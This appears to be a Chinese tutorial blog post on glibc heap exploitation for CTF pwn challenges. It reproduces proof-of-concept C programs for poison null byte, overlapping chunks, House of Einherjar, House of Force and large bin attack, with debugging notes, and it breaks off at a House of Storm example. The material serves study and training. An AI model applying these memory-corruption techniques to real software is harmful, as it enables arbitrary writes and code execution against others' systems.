深入理解Pwn_Heap
2023-12-15 18:1:41 Author: 看雪学苑(查看原文) 阅读量:11 收藏


前言

ptmalloc2的管理方式,chunk结构和bins的模型,在Overview of GLIBC heap exploitation techniques(https://0x434b.dev/overview-of-glibc-heap-exploitation-techniques/)ctfwiki(https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/introduction/)以及一些博客(https://blog.csdn.net/Tokameine/article/details/119490052)已经讲解的非常清楚,本文记录自己的学习堆利用的过程。

主要更新glibc-2.23,2.27,2.31,2.35,2.37主流版本和相关例题,glibc-2.23后面更新一些变化和新的利用方式,这里不包含IO_FILE的内容,IO_FILE会单独做一个专题。建议看完glibc源码分析后再来看,当然直接看也无所谓。目前比赛的glibc版本基本都是这几个长期支持版本,期间版本就不写了,另外文中没有标记glibc版本的就是到目前位置依然适用的方法。我将我的部分文章做了一个合集,入门新手想看先凑合着看吧。

◆主要工具:
pwncli(https://github.com/RoderickChan/pwncli)
PwnGdb(https://github.com/scwuaptx/Pwngdb)
gdb配置参考(https://bbs.kanxue.com/thread-276203.htm)

◆我的主要操作环境
wsl-kali。配置参考我的
另一篇文章(https://bbs.kanxue.com/thread-278044.htm)
docker desktop镜像
ubuntu:16.04
ubuntu:18.04
ubuntu:20.04
ubuntu:22.04
编译时可以加-g来方便调试。
ida pro 7.7 + gdb调试。

◆我的.gdbinit文件

source ~/pwndbg/gdbinit.py
source ~/peda/peda.py
source ~/Pwngdb/pwngdb.py
source ~/Pwngdb/angelheap/gdbinit.py

define hook-run
python
import angelheap
angelheap.init_angelheap()
end
end

#set context-clear-screen on
#set debug-events off

#source /root/splitmind/gdbinit.py
#python

#sections = "regs"

#mode = input("source/disasm/mixed mode:?(s/d/m)") or "d"

#import splitmind

#spliter = splitmind.Mind()
#spliter.select("main").right(display="regs", size="50%")
#gdb.execute("set context-stack-lines 10")

#legend_on = "code"
#if mode == "d":
# legend_on = "disasm"
# sections += " disasm"
# spliter.select("main").above(display="disasm", size="70%", banner="none")
# gdb.execute("set context-code-lines 30")

#elif mode == "s":
# sections += " code"
# spliter.select("main").above(display="code", size="70%", banner="none")
# gdb.execute("set context-source-code-lines 30")

#else:
# sections += " disasm code"
# spliter.select("main").above(display="code", size="70%")
# spliter.select("code").below(display="disasm", size="40%")
# gdb.execute("set context-code-lines 8")
# gdb.execute("set context-source-code-lines 20")

#sections += " args stack backtrace expressions"
#spliter.show("legend", on=legend_on)
#spliter.show("stack", on="regs")
#spliter.show("backtrace", on="regs")
#spliter.show("args", on="regs")
#spliter.show("expressions", on="args")

#gdb.execute("set context-sections \"%s\"" % sections)
#gdb.execute("set show-retaddr-reg on")

#spliter.build()

#end


三部分

◆off-by-one
PolarCTF2023Fall:夕阳下的舞者(https://www.52pojie.cn/thread-1838574-1-1.html)
ASIS CTF 2016 : b00ks(https://www.52pojie.cn/thread-1825637-1-1.html)
Plaid CTF 2015 : PlaidDB(https://www.52pojie.cn/thread-1828172-1-1.html)
SECCON CTF 2016 : tinypad(https://www.52pojie.cn/thread-1828388-1-1.html)
BCTF 2016 : bcloud(https://www.52pojie.cn/thread-1836790-1-1.html)

◆overlapping chunk
0CTF 2018 : babyheap(https://www.52pojie.cn/thread-1833414-1-1.html)
hack.lu CTF 2015 : bookstore(https://www.52pojie.cn/thread-1833578-1-1.html)

◆large bin attack
0CTF 2018 : heapstorm2(https://www.52pojie.cn/thread-1837538-1-1.html)

源码

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
#include <assert.h>

int main()
{
setbuf(stdin, NULL);
setbuf(stdout, NULL);

printf("Welcome to poison null byte 2.0!\n");
printf("Tested in Ubuntu 16.04 64bit.\n");
printf("This technique only works with disabled tcache-option for glibc, see build_glibc.sh for build instructions.\n");
printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n");

uint8_t* a;
uint8_t* b;
uint8_t* c;
uint8_t* b1;
uint8_t* b2;
uint8_t* d;
void *barrier;

printf("We allocate 0x100 bytes for 'a'.\n");
a = (uint8_t*) malloc(0x100);
printf("a: %p\n", a);
int real_a_size = malloc_usable_size(a);
printf("Since we want to overflow 'a', we need to know the 'real' size of 'a' "
"(it may be more than 0x100 because of rounding): %#x\n", real_a_size);

/* chunk size attribute cannot have a least significant byte with a value of 0x00.
* the least significant byte of this will be 0x10, because the size of the chunk includes
* the amount requested plus some amount required for the metadata. */
b = (uint8_t*) malloc(0x200);

printf("b: %p\n", b);

c = (uint8_t*) malloc(0x100);
printf("c: %p\n", c);

barrier = malloc(0x100);
printf("We allocate a barrier at %p, so that c is not consolidated with the top-chunk when freed.\n"
"The barrier is not strictly necessary, but makes things less confusing\n", barrier);

uint64_t* b_size_ptr = (uint64_t*)(b - 8);

// added fix for size==prev_size(next_chunk) check in newer versions of glibc
// https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=17f487b7afa7cd6c316040f3e6c86dc96b2eec30
// this added check requires we are allowed to have null pointers in b (not just a c string)
//*(size_t*)(b+0x1f0) = 0x200;
printf("In newer versions of glibc we will need to have our updated size inside b itself to pass "
"the check 'chunksize(P) != prev_size (next_chunk(P))'\n");
// we set this location to 0x200 since 0x200 == (0x211 & 0xff00)
// which is the value of b.size after its first byte has been overwritten with a NULL byte
*(size_t*)(b+0x1f0) = 0x200;

// this technique works by overwriting the size metadata of a free chunk
free(b);

printf("b.size: %#lx\n", *b_size_ptr);
printf("b.size is: (0x200 + 0x10) | prev_in_use\n");
printf("We overflow 'a' with a single null byte into the metadata of 'b'\n");
a[real_a_size] = 0; // <--- THIS IS THE "EXPLOITED BUG"
printf("b.size: %#lx\n", *b_size_ptr);

uint64_t* c_prev_size_ptr = ((uint64_t*)c)-2;
printf("c.prev_size is %#lx\n",*c_prev_size_ptr);

// This malloc will result in a call to unlink on the chunk where b was.
// The added check (commit id: 17f487b), if not properly handled as we did before,
// will detect the heap corruption now.
// The check is this: chunksize(P) != prev_size (next_chunk(P)) where
// P == b-0x10, chunksize(P) == *(b-0x10+0x8) == 0x200 (was 0x210 before the overflow)
// next_chunk(P) == b-0x10+0x200 == b+0x1f0
// prev_size (next_chunk(P)) == *(b+0x1f0) == 0x200
printf("We will pass the check since chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\n",
*((size_t*)(b-0x8)), *(size_t*)(b-0x10 + *((size_t*)(b-0x8))));
b1 = malloc(0x100);

printf("b1: %p\n",b1);
printf("Now we malloc 'b1'. It will be placed where 'b' was. "
"At this point c.prev_size should have been updated, but it was not: %#lx\n",*c_prev_size_ptr);
printf("Interestingly, the updated value of c.prev_size has been written 0x10 bytes "
"before c.prev_size: %lx\n",*(((uint64_t*)c)-4));
printf("We malloc 'b2', our 'victim' chunk.\n");
// Typically b2 (the victim) will be a structure with valuable pointers that we want to control

b2 = malloc(0x80);
printf("b2: %p\n",b2);

memset(b2,'B',0x80);
printf("Current b2 content:\n%s\n",b2);

printf("Now we free 'b1' and 'c': this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').\n");

free(b1);
free(c);

printf("Finally, we allocate 'd', overlapping 'b2'.\n");
d = malloc(0x300);
printf("d: %p\n",d);

printf("Now 'd' and 'b2' overlap.\n");
memset(d,'D',0x300);

printf("New b2 content:\n%s\n",b2);

printf("Thanks to https://www.contextis.com/resources/white-papers/glibc-adventures-the-forgotten-chunks"
"for the clear explanation of this technique.\n");

assert(strstr(b2, "DDDDDDDDDDDD"));
}

使用glibc2.23加参数-g编译并修改rpath

调试



申请了四个堆块,a(0x111),b(0x211),c(0x111),barrier(0x111)。




因为我们要利用off-by-nullchunkbsize改为0x200,又因为是chunkbnon-fast chunk,将b+0x1f0的位置写为0x200绕过检查。




接下来free(b)后,假设a存在off-by-null漏洞,将chunkb改为了0x200大小。



然后申请两个堆块b1_real_size : 0x110,b2_real_size : 0x90,然后free(b1)来绕过unlink检查,再free(c)后,会向上寻找0x210大小的堆块,发现b1是一个已经释放的chunk,便会合并,此时我们再去申请real_size == 0x110+0x210的堆块时,便控制了中间所有的chunk

glibc < 2.29

源码

/*

A simple tale of overlapping chunk.
This technique is taken from
http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

int main(int argc , char* argv[]){

intptr_t *p1,*p2,*p3,*p4;

fprintf(stderr, "\nThis is a simple chunks overlapping problem\n\n");
fprintf(stderr, "Let's start to allocate 3 chunks on the heap\n");

p1 = malloc(0x100 - 8);
p2 = malloc(0x100 - 8);
p3 = malloc(0x80 - 8);

fprintf(stderr, "The 3 chunks have been allocated here:\np1=%p\np2=%p\np3=%p\n", p1, p2, p3);

memset(p1, '1', 0x100 - 8);
memset(p2, '2', 0x100 - 8);
memset(p3, '3', 0x80 - 8);

fprintf(stderr, "\nNow let's free the chunk p2\n");
free(p2);
fprintf(stderr, "The chunk p2 is now in the unsorted bin ready to serve possible\nnew malloc() of its size\n");

fprintf(stderr, "Now let's simulate an overflow that can overwrite the size of the\nchunk freed p2.\n");
fprintf(stderr, "For a toy program, the value of the last 3 bits is unimportant;"
" however, it is best to maintain the stability of the heap.\n");
fprintf(stderr, "To achieve this stability we will mark the least signifigant bit as 1 (prev_inuse),"
" to assure that p1 is not mistaken for a free chunk.\n");

int evil_chunk_size = 0x181;
int evil_region_size = 0x180 - 8;
fprintf(stderr, "We are going to set the size of chunk p2 to to %d, which gives us\na region size of %d\n",
evil_chunk_size, evil_region_size);

*(p2-1) = evil_chunk_size; // we are overwriting the "size" field of chunk p2

fprintf(stderr, "\nNow let's allocate another chunk with a size equal to the data\n"
"size of the chunk p2 injected size\n");
fprintf(stderr, "This malloc will be served from the previously freed chunk that\n"
"is parked in the unsorted bin which size has been modified by us\n");
p4 = malloc(evil_region_size);

fprintf(stderr, "\np4 has been allocated at %p and ends at %p\n", (char *)p4, (char *)p4+evil_region_size);
fprintf(stderr, "p3 starts at %p and ends at %p\n", (char *)p3, (char *)p3+0x80-8);
fprintf(stderr, "p4 should overlap with p3, in this case p4 includes all p3.\n");

fprintf(stderr, "\nNow everything copied inside chunk p4 can overwrites data on\nchunk p3,"
" and data written to chunk p3 can overwrite data\nstored in the p4 chunk.\n\n");

fprintf(stderr, "Let's run through an example. Right now, we have:\n");
fprintf(stderr, "p4 = %s\n", (char *)p4);
fprintf(stderr, "p3 = %s\n", (char *)p3);

fprintf(stderr, "\nIf we memset(p4, '4', %d), we have:\n", evil_region_size);
memset(p4, '4', evil_region_size);
fprintf(stderr, "p4 = %s\n", (char *)p4);
fprintf(stderr, "p3 = %s\n", (char *)p3);

fprintf(stderr, "\nAnd if we then memset(p3, '3', 80), we have:\n");
memset(p3, '3', 80);
fprintf(stderr, "p4 = %s\n", (char *)p4);
fprintf(stderr, "p3 = %s\n", (char *)p3);
}

调试



首先申请三个堆块p1_real:0x101,p2_real:0x101,p3_real:0x81,这里只有申请0x8结尾的堆块才有下一个堆块prev_size的控制权,利用off-by-one漏洞。假设堆块p1读取时存在off-by-one



free(p2)后,利用p1off-by-one漏洞将chunk_p2size改为0x180,再次申请0x178大小的堆块,即可得到p3的控制权。

glibc < 2.29

源码

/*
Yet another simple tale of overlapping chunk.

This technique is taken from
https://loccs.sjtu.edu.cn/wiki/lib/exe/fetch.php?media=gossip:overview:ptmalloc_camera.pdf.
This is also referenced as Nonadjacent Free Chunk Consolidation Attack.

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>

int main(){

intptr_t *p1,*p2,*p3,*p4,*p5,*p6;
unsigned int real_size_p1,real_size_p2,real_size_p3,real_size_p4,real_size_p5,real_size_p6;
int prev_in_use = 0x1;

fprintf(stderr, "\nThis is a simple chunks overlapping problem");
fprintf(stderr, "\nThis is also referenced as Nonadjacent Free Chunk Consolidation Attack\n");
fprintf(stderr, "\nLet's start to allocate 5 chunks on the heap:");

p1 = malloc(1000);
p2 = malloc(1000);
p3 = malloc(1000);
p4 = malloc(1000);
p5 = malloc(1000);

real_size_p1 = malloc_usable_size(p1);
real_size_p2 = malloc_usable_size(p2);
real_size_p3 = malloc_usable_size(p3);
real_size_p4 = malloc_usable_size(p4);
real_size_p5 = malloc_usable_size(p5);

fprintf(stderr, "\n\nchunk p1 from %p to %p", p1, (unsigned char *)p1+malloc_usable_size(p1));
fprintf(stderr, "\nchunk p2 from %p to %p", p2, (unsigned char *)p2+malloc_usable_size(p2));
fprintf(stderr, "\nchunk p3 from %p to %p", p3, (unsigned char *)p3+malloc_usable_size(p3));
fprintf(stderr, "\nchunk p4 from %p to %p", p4, (unsigned char *)p4+malloc_usable_size(p4));
fprintf(stderr, "\nchunk p5 from %p to %p\n", p5, (unsigned char *)p5+malloc_usable_size(p5));

memset(p1,'A',real_size_p1);
memset(p2,'B',real_size_p2);
memset(p3,'C',real_size_p3);
memset(p4,'D',real_size_p4);
memset(p5,'E',real_size_p5);

fprintf(stderr, "\nLet's free the chunk p4.\nIn this case this isn't coealesced with top chunk since we have p5 bordering top chunk after p4\n");

free(p4);

fprintf(stderr, "\nLet's trigger the vulnerability on chunk p1 that overwrites the size of the in use chunk p2\nwith the size of chunk_p2 + size of chunk_p3\n");

*(unsigned int *)((unsigned char *)p1 + real_size_p1 ) = real_size_p2 + real_size_p3 + prev_in_use + sizeof(size_t) * 2; //<--- BUG HERE

fprintf(stderr, "\nNow during the free() operation on p2, the allocator is fooled to think that \nthe nextchunk is p4 ( since p2 + size_p2 now point to p4 ) \n");
fprintf(stderr, "\nThis operation will basically create a big free chunk that wrongly includes p3\n");
free(p2);

fprintf(stderr, "\nNow let's allocate a new chunk with a size that can be satisfied by the previously freed chunk\n");

p6 = malloc(2000);
real_size_p6 = malloc_usable_size(p6);

fprintf(stderr, "\nOur malloc() has been satisfied by our crafted big free chunk, now p6 and p3 are overlapping and \nwe can overwrite data in p3 by writing on chunk p6\n");
fprintf(stderr, "\nchunk p6 from %p to %p", p6, (unsigned char *)p6+real_size_p6);
fprintf(stderr, "\nchunk p3 from %p to %p\n", p3, (unsigned char *) p3+real_size_p3);

fprintf(stderr, "\nData inside chunk p3: \n\n");
fprintf(stderr, "%s\n",(char *)p3);

fprintf(stderr, "\nLet's write something inside p6\n");
memset(p6,'F',1500);

fprintf(stderr, "\nData inside chunk p3: \n\n");
fprintf(stderr, "%s\n",(char *)p3);

}

调试



首先申请5个0x3e8堆块,p1,p2,p3,p4,p5




free(4)后,假设p1存在off-by-one漏洞,将p2size改为0x3f0+0x3f0+0x1=0x7e1大小。再次free(p2)将会把p3覆盖掉,并且会与chunk_p4重合,此时我们再次申请0x7d8大小的堆块即可获得chunk_p3的控制权。

源码

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>

/*
Credit to st4g3r for publishing this technique
The House of Einherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc()
This technique may result in a more powerful primitive than the Poison Null Byte, but it has the additional requirement of a heap leak.
*/

int main()
{
setbuf(stdin, NULL);
setbuf(stdout, NULL);

printf("Welcome to House of Einherjar!\n");
printf("Tested in Ubuntu 16.04 64bit.\n");
printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n");

uint8_t* a;
uint8_t* b;
uint8_t* d;

printf("\nWe allocate 0x38 bytes for 'a'\n");
a = (uint8_t*) malloc(0x38);
printf("a: %p\n", a);

int real_a_size = malloc_usable_size(a);
printf("Since we want to overflow 'a', we need the 'real' size of 'a' after rounding: %#x\n", real_a_size);

// create a fake chunk
printf("\nWe create a fake chunk wherever we want, in this case we'll create the chunk on the stack\n");
printf("However, you can also create the chunk in the heap or the bss, as long as you know its address\n");
printf("We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\n");
printf("(although we could do the unsafe unlink technique here in some scenarios)\n");

size_t fake_chunk[6];

fake_chunk[0] = 0x100; // prev_size is now used and must equal fake_chunk's size to pass P->bk->size == P->prev_size
fake_chunk[1] = 0x100; // size of the chunk just needs to be small enough to stay in the small bin
fake_chunk[2] = (size_t) fake_chunk; // fwd
fake_chunk[3] = (size_t) fake_chunk; // bck
fake_chunk[4] = (size_t) fake_chunk; //fwd_nextsize
fake_chunk[5] = (size_t) fake_chunk; //bck_nextsize

printf("Our fake chunk at %p looks like:\n", fake_chunk);
printf("prev_size (not used): %#lx\n", fake_chunk[0]);
printf("size: %#lx\n", fake_chunk[1]);
printf("fwd: %#lx\n", fake_chunk[2]);
printf("bck: %#lx\n", fake_chunk[3]);
printf("fwd_nextsize: %#lx\n", fake_chunk[4]);
printf("bck_nextsize: %#lx\n", fake_chunk[5]);

/* In this case it is easier if the chunk size attribute has a least significant byte with
* a value of 0x00. The least significant byte of this will be 0x00, because the size of
* the chunk includes the amount requested plus some amount required for the metadata. */
b = (uint8_t*) malloc(0xf8);
int real_b_size = malloc_usable_size(b);

printf("\nWe allocate 0xf8 bytes for 'b'.\n");
printf("b: %p\n", b);

uint64_t* b_size_ptr = (uint64_t*)(b - 8);
/* This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit*/

printf("\nb.size: %#lx\n", *b_size_ptr);
printf("b.size is: (0x100) | prev_inuse = 0x101\n");
printf("We overflow 'a' with a single null byte into the metadata of 'b'\n");
a[real_a_size] = 0;
printf("b.size: %#lx\n", *b_size_ptr);
printf("This is easiest if b.size is a multiple of 0x100 so you "
"don't change the size of b, only its prev_inuse bit\n");
printf("If it had been modified, we would need a fake chunk inside "
"b where it will try to consolidate the next chunk\n");

// Write a fake prev_size to the end of a
printf("\nWe write a fake prev_size to the last %lu bytes of a so that "
"it will consolidate with our fake chunk\n", sizeof(size_t));
size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);
printf("Our fake prev_size will be %p - %p = %#lx\n", b-sizeof(size_t)*2, fake_chunk, fake_size);
*(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;

//Change the fake chunk's size to reflect b's new prev_size
printf("\nModify fake chunk's size to reflect b's new prev_size\n");
fake_chunk[1] = fake_size;

// free b and it will consolidate with our fake chunk
printf("Now we free b and this will consolidate with our fake chunk since b prev_inuse is not set\n");
free(b);
printf("Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", fake_chunk[1]);

//if we allocate another chunk before we free b we will need to
//do two things:
//1) We will need to adjust the size of our fake chunk so that
//fake_chunk + fake_chunk's size points to an area we control
//2) we will need to write the size of our fake chunk
//at the location we control.
//After doing these two things, when unlink gets called, our fake chunk will
//pass the size(P) == prev_size(next_chunk(P)) test.
//otherwise we need to make sure that our fake chunk is up against the
//wilderness

printf("\nNow we can call malloc() and it will begin in our fake chunk\n");
d = malloc(0x200);
printf("Next malloc(0x200) is at %p\n", d);
}

调试




申请a=0x41b=0x101两个堆块,并在栈上构建一个fake_chunk,并且fake_chunk_fd_bk = fake_chunk_prev_size,用来绕过unlink





然后利用off-by-null漏洞将堆块bPREV_INUSE位改为0,计算出堆块bfake_chunk的距离(fake_size),这里是个负数。




然后将fake_chunk_size改为fake_size,然后将堆块bprev_size改为改为fake_size,绕过检查prev_size == size的检查。





我们free(b)后,会进行如上检查。向后合并会把负数fake_size转为整数,然后会先开始后合并,又chunk_b紧邻top_chunk,会再与其进行合并。




此时我们再申请堆块将从fake_chunk_prev_size开始分配。

glibc < 2.29

源码

/*

This PoC works also with ASLR enabled.
It will overwrite a GOT entry so in order to apply exactly this technique RELRO must be disabled.
If RELRO is enabled you can always try to return a chunk on the stack as proposed in Malloc Des Maleficarum
( http://phrack.org/issues/66/10.html )

Tested in Ubuntu 14.04, 64bit, Ubuntu 18.04

*/

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
#include <assert.h>

char bss_var[] = "This is a string that we want to overwrite.";

int main(int argc , char* argv[])
{
fprintf(stderr, "\nWelcome to the House of Force\n\n");
fprintf(stderr, "The idea of House of Force is to overwrite the top chunk and let the malloc return an arbitrary value.\n");
fprintf(stderr, "The top chunk is a special chunk. Is the last in memory "
"and is the chunk that will be resized when malloc asks for more space from the os.\n");

fprintf(stderr, "\nIn the end, we will use this to overwrite a variable at %p.\n", bss_var);
fprintf(stderr, "Its current value is: %s\n", bss_var);

fprintf(stderr, "\nLet's allocate the first chunk, taking space from the wilderness.\n");
intptr_t *p1 = malloc(256);
fprintf(stderr, "The chunk of 256 bytes has been allocated at %p.\n", p1 - 2);

fprintf(stderr, "\nNow the heap is composed of two chunks: the one we allocated and the top chunk/wilderness.\n");
int real_size = malloc_usable_size(p1);
fprintf(stderr, "Real size (aligned and all that jazz) of our allocated chunk is %ld.\n", real_size + sizeof(long)*2);

fprintf(stderr, "\nNow let's emulate a vulnerability that can overwrite the header of the Top Chunk\n");

//----- VULNERABILITY ----
intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size - sizeof(long));
fprintf(stderr, "\nThe top chunk starts at %p\n", ptr_top);

fprintf(stderr, "\nOverwriting the top chunk size with a big value so we can ensure that the malloc will never call mmap.\n");
fprintf(stderr, "Old size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
*(intptr_t *)((char *)ptr_top + sizeof(long)) = -1;
fprintf(stderr, "New size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
//------------------------

fprintf(stderr, "\nThe size of the wilderness is now gigantic. We can allocate anything without malloc() calling mmap.\n"
"Next, we will allocate a chunk that will get us right up against the desired region (with an integer\n"
"overflow) and will then be able to allocate a chunk right over the desired region.\n");

/*
* The evil_size is calulcated as (nb is the number of bytes requested + space for metadata):
* new_top = old_top + nb
* nb = new_top - old_top
* req + 2sizeof(long) = new_top - old_top
* req = new_top - old_top - 2sizeof(long)
* req = dest - 2sizeof(long) - old_top - 2sizeof(long)
* req = dest - old_top - 4*sizeof(long)
*/
unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top;
fprintf(stderr, "\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size,\n"
"we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size);
void *new_ptr = malloc(evil_size);
fprintf(stderr, "As expected, the new pointer is at the same place as the old top chunk: %p\n", new_ptr - sizeof(long)*2);

void* ctr_chunk = malloc(100);
fprintf(stderr, "\nNow, the next chunk we overwrite will point at our target buffer.\n");
fprintf(stderr, "malloc(100) => %p!\n", ctr_chunk);
fprintf(stderr, "Now, we can finally overwrite that value:\n");

fprintf(stderr, "... old string: %s\n", bss_var);
fprintf(stderr, "... doing strcpy overwrite with \"YEAH!!!\"...\n");
strcpy(ctr_chunk, "YEAH!!!");
fprintf(stderr, "... new string: %s\n", bss_var);

assert(ctr_chunk == bss_var);

// some further discussion:
//fprintf(stderr, "This controlled malloc will be called with a size parameter of evil_size = malloc_got_address - 8 - p2_guessed\n\n");
//fprintf(stderr, "This because the main_arena->top pointer is setted to current av->top + malloc_size "
// "and we \nwant to set this result to the address of malloc_got_address-8\n\n");
//fprintf(stderr, "In order to do this we have malloc_got_address-8 = p2_guessed + evil_size\n\n");
//fprintf(stderr, "The av->top after this big malloc will be setted in this way to malloc_got_address-8\n\n");
//fprintf(stderr, "After that a new call to malloc will return av->top+8 ( +8 bytes for the header ),"
// "\nand basically return a chunk at (malloc_got_address-8)+8 = malloc_got_address\n\n");

//fprintf(stderr, "The large chunk with evil_size has been allocated here 0x%08x\n",p2);
//fprintf(stderr, "The main_arena value av->top has been setted to malloc_got_address-8=0x%08x\n",malloc_got_address);

//fprintf(stderr, "This last malloc will be served from the remainder code and will return the av->top+8 injected before\n");
}

调试



首先申请了一个a_real=0x111大小的堆块,利用off-by-onetop_chunksize改为-1,此时我们便可以申请到任意地址,top_chunk地址 = 原top_chunk地址 + 对齐后的申请大小。只要我们计算好距离,便可申请到任意地址,下到got,bss,上到__malloc_hook,相当于任意地址写的能力。





计算出bss_var-0x20top_chunk的距离0x602060-0x603110=-5A2 E0B0,注意此时我们申请结束后,top_chunk=0x6030110+(-5A2EB0)+0x10=0x602070,成功将top_chunk迁移到了目标地址下方。




堆由低地址向高地址增长,我们此时申请0x68大小的堆块时,top_chunk=0x602070+0x68+0x8=0x6020e0,成功将目标地址放入新申请堆块的fd指针处。

源码

/*

This technique is taken from
https://dangokyo.me/2018/04/07/a-revisit-to-large-bin-in-glibc/

[...]

else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;

[...]

mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

For more details on how large-bins are handled and sorted by ptmalloc,
please check the Background section in the aforementioned link.

[...]

*/

#include<stdio.h>
#include<stdlib.h>
#include<assert.h>

int main()
{
fprintf(stderr, "This file demonstrates large bin attack by writing a large unsigned long value into stack\n");
fprintf(stderr, "In practice, large bin attack is generally prepared for further attacks, such as rewriting the "
"global variable global_max_fast in libc for further fastbin attack\n\n");

unsigned long stack_var1 = 0;
unsigned long stack_var2 = 0;

fprintf(stderr, "Let's first look at the targets we want to rewrite on stack:\n");
fprintf(stderr, "stack_var1 (%p): %ld\n", &stack_var1, stack_var1);
fprintf(stderr, "stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2);

unsigned long *p1 = malloc(0x420);
fprintf(stderr, "Now, we allocate the first large chunk on the heap at: %p\n", p1 - 2);

fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the next large chunk with"
" the first large chunk during the free()\n\n");
malloc(0x20);

unsigned long *p2 = malloc(0x500);
fprintf(stderr, "Then, we allocate the second large chunk on the heap at: %p\n", p2 - 2);

fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the next large chunk with"
" the second large chunk during the free()\n\n");
malloc(0x20);

unsigned long *p3 = malloc(0x500);
fprintf(stderr, "Finally, we allocate the third large chunk on the heap at: %p\n", p3 - 2);

fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the top chunk with"
" the third large chunk during the free()\n\n");
malloc(0x20);

free(p1);
free(p2);
fprintf(stderr, "We free the first and second large chunks now and they will be inserted in the unsorted bin:"
" [ %p <--> %p ]\n\n", (void *)(p2 - 2), (void *)(p2[0]));

malloc(0x90);
fprintf(stderr, "Now, we allocate a chunk with a size smaller than the freed first large chunk. This will move the"
" freed second large chunk into the large bin freelist, use parts of the freed first large chunk for allocation"
", and reinsert the remaining of the freed first large chunk into the unsorted bin:"
" [ %p ]\n\n", (void *)((char *)p1 + 0x90));

free(p3);
fprintf(stderr, "Now, we free the third large chunk and it will be inserted in the unsorted bin:"
" [ %p <--> %p ]\n\n", (void *)(p3 - 2), (void *)(p3[0]));

//------------VULNERABILITY-----------

fprintf(stderr, "Now emulating a vulnerability that can overwrite the freed second large chunk's \"size\""
" as well as its \"bk\" and \"bk_nextsize\" pointers\n");
fprintf(stderr, "Basically, we decrease the size of the freed second large chunk to force malloc to insert the freed third large chunk"
" at the head of the large bin freelist. To overwrite the stack variables, we set \"bk\" to 16 bytes before stack_var1 and"
" \"bk_nextsize\" to 32 bytes before stack_var2\n\n");

p2[-1] = 0x3f1;
p2[0] = 0;
p2[2] = 0;
p2[1] = (unsigned long)(&stack_var1 - 2);
p2[3] = (unsigned long)(&stack_var2 - 4);

//------------------------------------

malloc(0x90);

fprintf(stderr, "Let's malloc again, so the freed third large chunk being inserted into the large bin freelist."
" During this time, targets should have already been rewritten:\n");

fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);

// sanity check
assert(stack_var1 != 0);
assert(stack_var2 != 0);

return 0;
}

前置知识

large bin 结构图。

1.大于 0x400 的 chunk 属于 large bin 范畴。

2.fd -> 后一个大小相同的 chunk,bk 指向前一个大小相同的 chunk。

3.fd_nextsize -> 比他小的最大heap。

4.bk_nextsize -> 比他大的最小的heap。

5.最后将两条链条首尾相连。

调试

首先栈上放置两个值为 0 的栈变量。




然后布置如下结构的堆。


依次释放 non-fast 大小的 p1, p2,它们将会被挂到 unsorted bin 。并且 p2->p1 。




此时申请 0x90 大小的堆块将会遍历 unsorted bin , 但 unsorted bin 中并无正好合适的 chunk 。所以会切割先进来的 p1 成为 last_remainder 留在 unsorted bin,并把 p2 放进 large bin 。




之后 free(p3),p3 进入 unsorted bin , p3->p1。




然后如下修改 p2 的结构,让 p3_size > p2_size ,以便后续利用。





此时 p2 结构如下。


再次申请 0x90 大小的堆块,将会再次遍历 unsorted bin 。将 p1 切割,将 p3 放进 unsorted bin 。


放入过程中如果 p3_size > p2_size 。将会执行如下代码:

/* 源码 */
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
/* “译”码 */
else
{
P3->fd_nextsize = P2;
P3->bk_nextsize = P2->bk_nextsize;
P2->bk_nextsize = P3;
P3->bk_nextsize->fd_nextsize = P3;
}
bck = P2->bk;

即 stack_var2 = p3。

/* 源码 */
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
/* “译”码 */
mark_bin(av, victim_index);
P3->bk = p2->bk;
P3->fd = P2;
P2->bk = P3;
bck->fd = P3; // bck 是原p2->bk(见上一段代码的bck)

即 stack_var1 = p3,至此利用完成。

glibc <= 2.29,例题heap2storm结合ptmalloc源码讲的更为详细一些,这里简化了很多。

源码

/*

POC for House of Storm on 2.23

For 2.26-2.28, the tcache will need to
be full for this to work. After this,
a patch to the unsorted bin attack likely prevents this
technique from working.

